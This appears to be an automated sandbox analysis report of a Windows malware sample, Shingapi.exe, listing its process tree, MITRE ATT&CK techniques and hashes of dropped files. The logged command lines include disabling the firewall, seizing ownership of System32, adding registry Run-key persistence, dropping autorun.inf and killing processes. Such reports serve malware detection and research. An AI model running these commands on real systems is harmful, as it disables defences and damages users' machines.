      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:1932
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:2580
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      Modifies registry class
      PID:1028
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      Modifies registry class
      PID:3880
  - - C:\Windows\system32\mspaint.exe
      mspaint.exe
      4⤵
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4444
  - - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
      C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
      4⤵
      Executes dropped EXE
      PID:3692
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ED0F.tmp\ED10.tmp\ED11.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        5⤵
        Drops autorun.inf file
        
        PID:5140
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        6⤵
        
        PID:6108
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        6⤵
        Modifies Windows Firewall
        
        PID:6116
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        6⤵
        
        PID:5952
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        6⤵
        
        PID:6136
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        7⤵
        Modifies file permissions
        
        PID:5992
      - C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        6⤵
        
        PID:5128
      - C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        6⤵
        
        PID:5680
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        6⤵
        Gathers network information
        
        PID:5248
      - C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        6⤵
        Kills process with taskkill
        
        PID:5204
      - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        6⤵
        Views/modifies file attributes
        
        PID:5480
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6184
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6252
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6268
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6320
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6380
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6396
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6424
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6436
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6484
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6544
      - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        6⤵
        
        PID:6560
      - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        6⤵
        
        PID:6680
      - C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        6⤵
        
        PID:7072
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:6900
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\338E.tmp\4D8F.tmp\4D90.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:7008
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:10080
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:10088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:5260
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:4744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:5152
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:9244
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:5136
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:1644
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:6044
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:8224
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:2740
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:7364
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:12884
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:13172
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:4540
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:13244
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:8852
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:13296
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:7192
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:7360
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:7444
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:7488
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:7596
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3B6E.tmp\4D80.tmp\4D90.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:7016
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:9960
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:10216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:8836
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:3724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:9624
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:9884
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:6916
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:10224
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:9724
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:10260
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:10960
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:12124
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:8924
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:12960
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:5296
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:7700
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:7744
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:7800
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:7892
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:7968
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\437C.tmp\4D80.tmp\4D90.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:6992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:3880
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:7300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:10228
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:7976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:7748
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:8700
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:3180
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:8224
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:10312
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:12196
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:12284
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:8080
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:8088
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:8096
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:8104
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6780
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:8260
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:8824
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:5484
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:2824
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      Modifies registry class
      PID:2872
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      Modifies registry class
      PID:5208
  - - C:\Windows\system32\mspaint.exe
      mspaint.exe
      4⤵
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5224
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:5364
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:1452
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:5800
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:5408
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:5868
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:5332

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:3804

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:5284

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=1392,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=3964 /prefetch:8
1⤵
PID:6124

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6976

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6740

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7276

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7572

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7988

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7408

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8112

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8828

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8992

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10972

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11536

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11672

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:3296

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9640

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10220

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6296

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:12536

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:12704

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9728

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:12600

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 240B
SHA256 093b0f0c3f7a9bf24406662245b57f171837a266aba49f198319045e971e77d5
MD5 482dcfe952218cf31ad2adddd8f6616b
SHA1 7a6bcfce28c76bc3319c871696531d21200f3bc0
SHA512 440182ba5cd7c85abc11fe9097a41486469afde738d26f471efe4e7928106cd57240b1045bc97d60c42147ca25b032c4149487f1a1ab4581292c7eff2bc801b9
MD5 SHA1 SHA512

Submit Download

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 300B
SHA256 0783070444c465de8a21f7fc41f61d2bd535e995454e4086b2e01780e96ad419
MD5 88a2fcd93445c8b092324fe1236d31dc
SHA1 f63653fe34d54b7e42e29689a934ed097329128d
SHA512 3e44cce194b1cc3d6946d33dee6756f0333edc886f9ebe8149887c2e9b35867575ed47f15b2c384ed37aab3b8e37dae3369e1259d132bdf9bb832c70c09e8085
MD5 SHA1 SHA512

Submit Download

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 60B
SHA256 8dfd0a6db2df60455840dbbbcc4f8b70d730ba1c2afbf300316898b3dd3e9b11
MD5 11aa52a7eca2cf8fdcd1584b5a8b6026
SHA1 01ae6066e6b3879cb0caf306cc91077b7c0bea1e
SHA512 07f37c050eb59e7a1a228ca851d05ca9b62bb3de97f988fb36c374c827833c8c551e5cb51eb05130861c0b35515ca77ae667ca97ee4f08c86cdf9f6fb64533c5
MD5 SHA1 SHA512

Submit Download

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 120B
SHA256 d4249fbe2df7ddc684f61bbba98e5d3312c85e5787d5500a73ff18a5abce76eb
MD5 6bc9ab9854695874c5338bd08dde7db5
SHA1 8ae8dc91cd8b80dd688378a3eacb2750e2de8c3c
SHA512 e8fda27e7d1144816879b84fa04b8b3a7063f3841e57a1aaa918b5dfa1dc35f0f4380f89ca861c59ea45d884488e68309dabff15200e6b99038df4431e439f85
MD5 SHA1 SHA512

Submit Download

Autorun.inf

Path C:\Users\Admin\AppData\Local\Temp\Autorun.inf
Size 296B
SHA256 524eba98364d7802f73613e2e85d7a809997efd9aaa509038d080cda38349348
MD5 7b25402475482c7b770d89f147fae974
SHA1 f64addcac8a47b4f4fec3693f0b20011c02d9616
SHA512 b0e7d51440e532958e6006503a579e93f7ca0a38bc7325b41d4a62b226f6fd8692b11e658c52bbe6a60853310536bae1c69a3fb4b85a4c8b4c6b8856048a041f
MD5 SHA1 SHA512

Submit Download

Autorun.inf

Path C:\Users\Admin\AppData\Local\Temp\Autorun.inf
Size 74B
SHA256 12a5135510016abcfe1192aceb6fec42634346661d778d68be1debaa3d75e967
MD5 b39df423c6e5978065a9a8ec4879a3b4
SHA1 96441a7a7d8090f7a96a1160f539531f66568e88
SHA512 2d583fcae1ec73f836c5b66b8b1337bb4250a8230073de96d501a4fab5f522b75599ac2a1fcf1457a841d8c84bcccb88feade82f49357b28345c63d9526cfeb4
MD5 SHA1 SHA512

Submit Download

E273.bat

Path C:\Users\Admin\AppData\Local\Temp\E271.tmp\E272.tmp\E273.bat
Size 17KB
SHA256 faee2b0ac2218435a6973b87277b29010c988efefdcd7fe0e107808c2cc0f282
MD5 190e7cfa7d6de532ba4498ca3d38b47d
SHA1 7d4ea5ce61962c0445d955a44dd31226fa8c736e
SHA512 5a87b4bac67957acbc6dfab08cf9b3e1110e4b496b66110a44f7b2d0ec75b950d7569b6220c4a5ab3597db032e70b16d5a5e6ee4ab23102f6d12fea7bdc11598
SSDEEP 192:Kn0iMJWap3ahz9j3E301VaYYATCdhSouXKN:PJWo3yzHVbYMW
MD5 SHA1 SHA512 SSDEEP

Submit Download

ErrorCritico.vbs

Path C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs
Size 216B
SHA256 71bd0bffdeca9dce2b4e9e1d767a0732657032171f3ad33903dec353ef95a431
MD5 7659392a12010d8c761cb9888f6fd5ac
SHA1 b8829c26628740b77ab7405c231f420e860d8c1f
SHA512 5caf94b288649b687f411cbb5519168e09e161f8d9545a6bad1b0d08876a542d153a115f8b44e3f15d973812ce8ec7471bba7d8bd0b9a22d0abf6fdf2914a2bf
MD5 SHA1 SHA512

Submit Download

ErrorCritico.vbs

Path C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs
Size 270B
SHA256 838ba55eb15df2e0145178a20b4d01314d0fcde04ff871649012eaeba6bbfb69
MD5 adad2cd23a8880d4b3bdb1481c5b7998
SHA1 823fc1acc3e7a3f0cffab5cb8fa453a8c0d1872c
SHA512 8c600e32157daef85549d0a19a40f38e812e05cbf24e51453fa1ea94435e55fe4a705e77d42a4f63f3c565da98b4e69f1ed7bb6f3dbca65e80b17526954e60e4
MD5 SHA1 SHA512

Submit Download

ErrorCritico.vbs

Path C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs
Size 54B
SHA256 616cf19739e00c69e9606d9c94869f6fcb6a7b3860e7b8af9bc896f3081dad0d
MD5 888e64c554686bbbc0499057cce1af36
SHA1 5a7f51c66e3ae7dd0e0231c9817aee8c9fc54006
SHA512 9882375fdd09d489258447d49b8b63d0bc8db57cdb7186500c00c79d57f30af5f37a69e8fab70683a7c9d730e3484ef537ee57bb1892a84f92e9aba639d1d227
MD5 SHA1 SHA512

Submit Download

ErrorCritico.vbs

Path C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs
Size 162B
SHA256 9afd004a8cb9b9e8b1eeab780fb0c4ffa39c3ec2ded034b1a7cd69db7f67872a
MD5 d5980bf4b018e4c397df95afe8941c66
SHA1 ce53c669a898d09479831bc59bc31a5fba2a6f2b
SHA512 c995f9d3252b9a7af52a398562261baf3297fee64fade9de22895cce017e5aa097c7935a0519e474253a181e1e018348a1ade3d953bfaff5dc43e30e2d9fde5f
MD5 SHA1 SHA512

Submit Download

Informacion.vbs

Path C:\Users\Admin\AppData\Local\Temp\Informacion.vbs
Size 276B
SHA256 2cda289b5067c9daf8b4dffdf323b2fe9d0a47bfdbb91b4a017029bc74729c05
MD5 089381a847f01ba0962ae00f0d92d5e8
SHA1 9f3240f89871639778a318e0cadccafcf9d7c55e
SHA512 89fbf1b423f17101970290b070d740b8d58beecc6723e64edb7ae23b9285afe3a612b8e8f5ec202d60aca3875a28dbc556a43af9fe4113ac0bdba1fa83c5213a
MD5 SHA1 SHA512

Submit Download

Informacion.vbs

Path C:\Users\Admin\AppData\Local\Temp\Informacion.vbs
Size 69B
SHA256 d9fc0446467e00e640f0dd0bf36882943a6993dcc1038ba8f73239152896eb25
MD5 72946942abf5cf295f726b816c531ebf
SHA1 8ac5ccae8003c3776c2e0ee0959a76c8bc913495
SHA512 2f42b10e2c1359a690e1a69e307008e3beb4712e4c071d916fb1380c61cb2ed3ae48c86af44c6f1c9d613e85dd75d8cfd66fd01de0649444ee6d5193d9789d23
MD5 SHA1 SHA512

Submit Download

Informacion.vbs

Path C:\Users\Admin\AppData\Local\Temp\Informacion.vbs
Size 138B
SHA256 b759fa635b2bbce2570feea401c7d2a9735844d204f5bcdbc88f3a3a761f3959
MD5 fdac6c0d6442c0cfe7c0b69e80227f0a
SHA1 d0d9aea2bf7a4bf1b45237e2207d37830a578d8c
SHA512 7e5dc4b0876173f05f69f523d50ad573f5dfced10a771d1b28315c2a068b6f6c39ae5edd2433223f79e7d32b9180801746c9621de02cba026f93412b83339da4
MD5 SHA1 SHA512

Submit Download

Shingapi.exe

Path C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
Size 106KB
SHA256 6ca11c8b6442db97c02f3b0f73db61f58c96d52e8a880e33abee5b10807d993f
MD5 8b6a377f9a67d5482a8eba5708f45bb2
SHA1 7197436525e568606850ee5e033c43aea1c3bc91
SHA512 644e51798399168530b05e629b414dd80cac678bd3c8d4a5d164f55736a2b2fd380d3ca4640f7a034c8f043c06b1527b473e2d17da088d5e97de6ea04120dd72
SSDEEP 3072:v7DhdC6kzWypvaQ0FxyNTBfqMXERseQF8:vBlkZvaF4NTBSAesPF8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Taskdl.bat

Path C:\Users\Admin\AppData\Local\Temp\Taskdl.bat
Size 692B
SHA256 b370b54e95376f4b6df27592bc23343c82ebbfad3d52e71a38a2aac504bda04c
MD5 6989502044e4a9fca67e9ded25de9956
SHA1 9a8d099caad939d32599530b27f7db641cbdb8da
SHA512 9f0e6d59d9adc531f5c162b964205e0dd63c6a956291af48d24e6b8988a940b6f2cc7644a9163277e6383a6d9f8ddb00c9687d73426ea776c691e73f66e95a5e
MD5 SHA1 SHA512

Submit Download

Taskdl.bat

Path C:\Users\Admin\AppData\Local\Temp\Taskdl.bat
Size 1KB
SHA256 d20e9eb2185a2d21b55a5f1ae338e500337d8a43c117c0929c0e3233a58bea1a
MD5 8d42b25e34da75cd09d10b534d7a6012
SHA1 a408aa5cb02089156497c1976c7fe41dd42f06d9
SHA512 ead990dff8a6a1d47ca32ad4899e48261c2c628afa5d25cc201ce6c1406a8a52cff6be0718964641b3f610160277122fcfdcb93ac0b68d050effc3e2fc26f8fe
MD5 SHA1 SHA512

Submit Download

Taskdl.bat

Path C:\Users\Admin\AppData\Local\Temp\Taskdl.bat
Size 173B
SHA256 3c656f47268598c5bbe3ee4661b4f8c7dc09420cf393a6e417541db3c6020205
MD5 0c998e3681eb9f67fbacda38281c5fa7
SHA1 bd3e89780f374c54c5dfbe3fab83a926ca5803de
SHA512 11e3fd1d141bd23a2b0f17665f0f57e5a606fdd82555a7bd88cd533863ce4269d8395f8963d1cdfde93efbb0817486db48c3b593f8de35e150e2395daadb762e
MD5 SHA1 SHA512

Submit Download

Taskse.exe

Path C:\Users\Admin\AppData\Local\Temp\Taskse.exe
Size 18KB
SHA256 48587e17926bfd10b2174733dc80434d379d1fd450b0b381fee9f306b7c38eb4
